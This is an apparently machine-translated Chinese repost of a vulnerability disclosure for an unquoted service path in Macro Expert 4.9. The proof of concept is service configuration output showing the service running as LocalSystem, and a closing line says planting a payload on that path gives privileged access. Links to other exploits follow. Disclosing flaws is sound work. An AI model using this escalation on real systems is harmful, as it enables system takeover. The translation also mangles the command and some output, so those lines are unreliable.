宏观专家4.9-未引用的服务路径

[HackApt-37 Team已验证会员]

＃利用标题:宏观专家4.9-未引用的服务路径
＃日期: 04/06/2023
＃利用作者: Murat Demirci
＃供应商HomePage3360 http://www.macro-expert.com/
＃软件链接: http://www.macro-expert.com/PRODUCT/GM_SETUP_4.9.EXE
＃版本: 4.9
＃测试在: Windows 10
＃概念证明:
C: \ User \ Muratsc QC'宏观专家'
[SC] QueryServiceConfig成功
service_name:宏观专家
类型: 10 WIN32_OUNT_PROCESS
start_type : 2 auto_start
error_control : 1正常
binary_path_name : C: \ Program Files（x86）\ Grassoft \ Macro Expert \ Macroservice.exe
LOAD_ORDER_GROUP :
标签: 0
display_name :宏观专家
依赖项:
service_start_name :本地系统
＃如果无论如何都会在相关路径和服务中插入恶意有效载荷，则可以获得对系统的新特权访问并执行恶意行为。

 

H

树页面视图插件1.6.7-跨站点脚本（XSS）

H

文件管理器高级快捷代码2.3.2-未经验证的远程代码执行（RCE）